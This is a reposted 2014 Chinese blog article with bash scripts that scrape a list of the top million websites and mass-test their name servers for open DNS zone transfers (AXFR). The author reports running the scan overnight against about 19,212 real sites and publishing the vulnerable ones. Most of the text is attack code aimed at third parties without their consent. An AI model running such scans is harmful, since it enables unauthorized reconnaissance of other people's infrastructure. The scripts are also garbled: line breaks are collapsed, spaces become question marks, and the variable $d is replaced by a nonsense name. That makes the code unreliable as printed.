批量网站DNS区域传送漏洞检测——bash shell实现
燕云 · 2014/05/21 12:18
0x00 背景
下面圖中的eecs.cc為筆者自建的一臺具有私有根的DNS服務器,且對外開放了區域傳送權限,故有結果:cc區域傳送成功。該圖只是一個實驗驗證,下面文章正式開始!
0x01 尋找域名
從互聯網上尋找全球Top1000Web站點列表。
搜尋,發現 www.domainvader.com/website/top… 站點有需要的信息。
處理過程如下:
·此處共計1000個統計頁面,每個頁面有1000個站點信息,故依次抓取這1000個html文檔; ·使用grep結合正則表達式從這1000個文檔之中過濾出我們需要的域名,共計1000000個。 復制代碼代碼如下:
其中,grab.sh的參數threads意思為并發GET進程數,視雙方通訊鏈路狀態而定,默認為1,如果鏈路很好,可適當提高,但不宜過高,以防GET請求超時。
grab.sh:
#!bash #!/bin/bash declare x declare threads=1 # process concurrency declare modfor x in `seq 1 1000` doecho "http://www.domainvader.com/website/top-${x}000-sites.php"time GET "http://www.domainvader.com/website/top-${x}000-sites.php" > $x.html &mod=$(( x%threads ))if [ "$mod" -eq "0" ]thenwaitfi done 復制代碼translate.sh:
#!bash #!/bin/bashdeclare x declare lif [ -r "top100_0000sites.txt" ] thenrm -f top100_0000sites.txt fitouch top100_0000sites.txtfor x in `seq 1 1000` doecho "analyzing ${x}.html..." # check if readableif ! [ -r "${x}.html" ]thenecho "file ${x}.html doesn't exist or aren't readable :("echo "file top100_0000sites.txt collect total `cat top100_0000sites.txt | wc -l` websites"exit 1fil=`grep -Eo --color 'target="_blank">(http://([A-Za-z0-9_-]+)(\.([A-Za-z0-9_-])+)+)' ${x}.html | wc -l` # check content if been entirely grabbedif [ "$l" -ne "1000" ]thenecho "file ${x}.html's content is not entire :( please check"echo "file top100_0000sites.txt collect total `cat top100_0000sites.txt | wc -l` websites"exit 1figrep -Eo --color 'target="_blank">(http://([A-Za-z0-9_-]+)(\.([A-Za-z0-9_-])+)+)' ${x}.html | grep -Eo --color '(([A-Za-z0-9_-]+)(\.([A-Za-z0-9_-])+)+)$' >> top100_0000sites.txt doneecho "done :)"echo "file top100_0000sites.txt collect total `cat top100_0000sites.txt | wc -l` websites" 復制代碼最終效果圖:
0x02 DNS區域傳送權限自動檢測
有如下命題:
#!bash 復制代碼if?dig?@${ns}?$ozvdkddzhkzd?axfr?|?grep?-E?--color?'IN[[:space:]]+A|IN[[:space:]]+NS'?&>/dev/null
then
echo?"nice!?a?hole"
fi
上述命題是整個檢測程序的核心所在,這個命題是成立的。
dns_transfer_check.sh?代碼如下:
其中,threads為并發數,默認設置為40,由于一個域名很可能對應多個ns,觀察得到實際并發數大概為threads*3?,domainFileList為參與檢測的域名列表文件,可自定義之。
#!bash #!/bin/bashdeclare d declare s=0 declare ns_str declare ns declare mod declare threads=40 # process concurrency declare domainFileList="top100_0000sites.txt"for d in `cat $domainFileList` dos=$(( s+1 ))echo "${s} : $ozvdkddzhkzd"ns_str=`dig -t ns $ozvdkddzhkzd | grep -E --color 'IN.*NS.*[[:space:]]([A-Za-z0-9_-]+)(\.([A-Za-z0-9_-])+)+\.' | awk '{print $5}' | grep -Eo --color '([A-Za-z0-9_-]+)(\.([A-Za-z0-9_-])+)+'`for ns in $ns_strdoecho $nsif dig @${ns} $ozvdkddzhkzd axfr | grep -E --color 'IN[[:space:]]+A|IN[[:space:]]+NS' &>/dev/null ; then echo "nice! transfer done! :) rank: $s domain: $d ns: $ns ---->" ; fi & donemod=$(( s%threads ))if [ "$mod" -eq 0 ] thenwaitfi done 復制代碼程序結束。
#!bash #?nohup?bash?dns_transfer_check.sh?&>log?& 復制代碼運行一夜之后,掃描到了前19212個站點,然后使用grep、awk、sed等工具處理之,得到滿意結果。
WooYun: 全球Top1000Websites中存在DNS區域傳送漏洞的網站列表
dns_domain_check.zip
這是所有資料的鏈接。重點是dns_transfer_check.sh與域名列表,讀者可按照自己的需要自定義參數使用。
除了world_top1000000,還包含了china_top500與china_top1344_entertainment站點列表 :)
希望這篇文章能幫助大家!
總結
以上是生活随笔為你收集整理的批量网站DNS区域传送漏洞检测——bash shell实现的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 关于File.separator 文件路
- 下一篇: 深入浅出看懂AlphaGo Zero -